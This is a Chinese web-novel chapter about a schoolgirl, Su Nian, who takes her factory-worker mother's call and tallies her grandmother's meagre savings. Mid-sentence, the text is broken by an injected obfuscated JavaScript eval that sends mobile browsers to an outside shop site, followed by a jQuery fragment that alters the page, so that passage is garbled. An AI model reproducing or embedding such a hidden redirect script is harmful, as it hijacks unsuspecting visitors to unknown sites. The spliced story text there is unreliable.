晚上八点差五分。
城中村出租屋亮着昏黄的白炽灯。
姜翠花陷在掉漆木沙发里，捏着遥控器，电视正播报明日冷空气南下。
苏念伏在饭桌前，塑料碎花台布上摊着数学练习册，正解一道几何题。
辅助线画到一半，茶几上的黑色直板手机震动起来，跟着玻璃桌面发出低沉闷响。
姜翠花按下遥控器静音键。
电视画面无声跳动，屋里安静下来。
“念念，八点了，你/妈的电话。”姜翠花冲饭桌喊。
苏念搁下圆珠笔，走过去拿起手机，按下绿色接听键贴在耳边。
“妈。”
电话那头吵闹。
机器轰隆运转，夹杂胶带撕裂声，有人用浓重口音喊着“三线缺物料，赶紧补上”。
“念念，吃饭没？”苏敏声音沙哑，带着疲惫。
“吃了，”苏念说，“外婆炒了白菜，热了昨天的饭。”
“在干嘛？看电视还是写作业？”
“写数学练习册。”
“数学听得懂不？”
“能。”
“英语单词多背，别老看电视。”
“没看。”
“那就行，外婆身体咋样？腿还疼不？”
“她下午去买菜了，挺好的。”
一问一答，例行公事。
电话那头有人喊苏敏，她大声回了句“马上来”，重新对着手机加快语速。
“念念，妈在这边挺好。最近厂里接了大单子，线长排了晚班，每天得加两小时，星期天不让休了。”
苏念将手机换到另一只手。
“注意身体，多喝水。”
苏敏叹气。
“累点没事，加一小时有十块加班费。就是……”
苏敏停顿片刻，背景机器声吵闹。
“这个月厂里盘库，财务发通知说工资得压几天。生活费我晚一个星期打，家里钱够不够用？”
苏念盯着茶几玻璃板底下的发黄的旧报纸。
“够用，”苏念语气平稳，“上个月饭钱有剩，没花完。”
“行，在学校专心念书，快期中考试了吧？多花心思在正课上，别惹事。”
“知道了。”
苏念拿开手机，递给旁边的姜翠花。
“外婆，我妈找你。”
姜翠花在围裙上擦手，接过手机，拔高嗓门。
“敏子啊！”
“吃饭没？别光啃馒头吃泡面，去食堂打点热乎的。天冷了，自己当心点。”
电话那头苏敏说了几句，姜翠花皱起眉头。
“加啥班啊，身体搞垮了赚多少钱都不够往医院送，你那腰本来就不好。”
“家里别操心，我跟念念都挺好，下午刚去菜市场买了降价萝卜。”
“行，赶紧去忙，别让主管扣全勤。”
通话结束。
姜翠花放下手机，屏幕变暗。
她拿起遥控器调大电视音量，新闻播完，开始放电视剧。
姜翠花盯着屏幕叹气。
“你妈不容易，一个人在外面，连个说话的人都没有。”
苏念没接话，转身走进厨房。
水池里放着晚上吃剩的碗盘。
苏念打开水龙头，在海绵上挤洗洁精。
自来水冲过瓷碗，哗啦作响。
洗完碗，她拿抹布擦净灶台，抹干水池边的水渍，关掉厨房灯走回客厅，把数学练习册收进书包。
“外婆，我回房间了。”
“去吧，早点睡，明天降温多穿件衣服。”姜翠花没回头。
苏念推开四平米房间的门，进去后拉上，隔绝电视机声音。
房间里只有一张单人床和旧书桌。
苏念走到床头柜前蹲下，拉开最下层抽屉。
抽屉里塞着几件穿不下的旧衣服。她翻开衣服，找出一个红色塑料皮本子。
这是家里的存折。
姜翠花不识字，存折一直放在这里。密码是苏念的生日，每次取钱都由苏念去柜员机操作。
她翻开存折，看最后一页打印记录。
上一笔是上个月十号，取款五百。
余额一栏印着数字：2845.50。
苏念将存折平放于书桌，拉开椅子坐下，从抽屉拿出一张用过的草稿纸，拔出水性笔帽。
笔尖在纸上列出数字。
下个月十号交房租，450。
水电费上个月78，这个月天冷，外婆晚上偶尔开电热毯，算90。
外婆的降糖药快吃完了，二甲双胍和格列齐特，去社区医院开大概120。
米面油家里有剩，买菜一天算15，一个月450。
苏念在学校不吃早饭，中午带馒头，晚上回家吃，这笔钱省下来。
她在草稿纸上写下“卷子费 35”。
这钱明天要交。刘国强今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849261|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天在班上说了，不交卷子费，期中考试连卷子都没有。
她把数字竖着排好，画了一条横线，做加法。
1145。
存折里的钱够用。
若没有下个月生活费，这2845.50撑不到年底。
苏念盯着草稿纸上的算式。
房租不能欠，房东上个月催过一次。
药不能停，外婆上周少吃一次药，头晕在沙发上躺了半天。
她想起下午放学回家经过巷口药店。
前几天姜翠花去买药，为便宜两块钱，跟店员磨了半小时嘴皮子。最后店员挥手让她走，姜翠花拿药一路抱怨着走回家。
笔尖在纸上戳出小黑点。
苏念撕下草稿纸揉成团，扔进桌脚废纸篓。
她合上红色存折，塞回抽屉底层，用旧衣服盖严实，推上抽屉。
苏念起身走出房间，去洗手间打开水龙头，拿肥皂搓出泡沫，洗了两遍手。
洗掉灰尘，也洗掉碰过钱的铁锈味。
擦干手回到书桌前，她拉开书包拿出那本借来的旧版《呐喊》，翻到昨天看的那页。
窗外风刮得玻璃窗哐当响，缝隙漏进风声。
页面铅字排布紧密。
苏念盯着那行字看了许久，手停在书页边缘，没有翻页。
纸面字迹变得模糊，边缘长出毛刺，黑色字体在视线里晕染开。
她抬手揉眼，眨了几下，视线重新聚焦，铅字变回清晰轮廓。
她把书页往下压，继续往下看。
看了一个小时，她合书关灯，脱掉外套躺在单人床上。
被窝有些冷。
苏念蜷起身子闭上眼。
黑暗中，她想起一个问题。
自己已经很久没花钱买书了。
图书馆旧书够看，能补好。
有些她想拥有的书，只在书店玻璃柜台里才有。那些书崭新，散发油墨味，没有破损封皮，无需胶带修补。
她把手伸/进枕头底下。
那里压着纸币和硬币。
那是帮巷口王大爷搬西瓜赚来的，还有平时省下的早饭钱。
手指摸过硬币边缘，她心里有数。
七块二。
七块二买不到书店里任何一本新书。
苏念翻身，把手从枕头底下抽出，拉高被子盖住肩膀。
闭眼。
明天林老师的阅读分享会，到底还会不会办？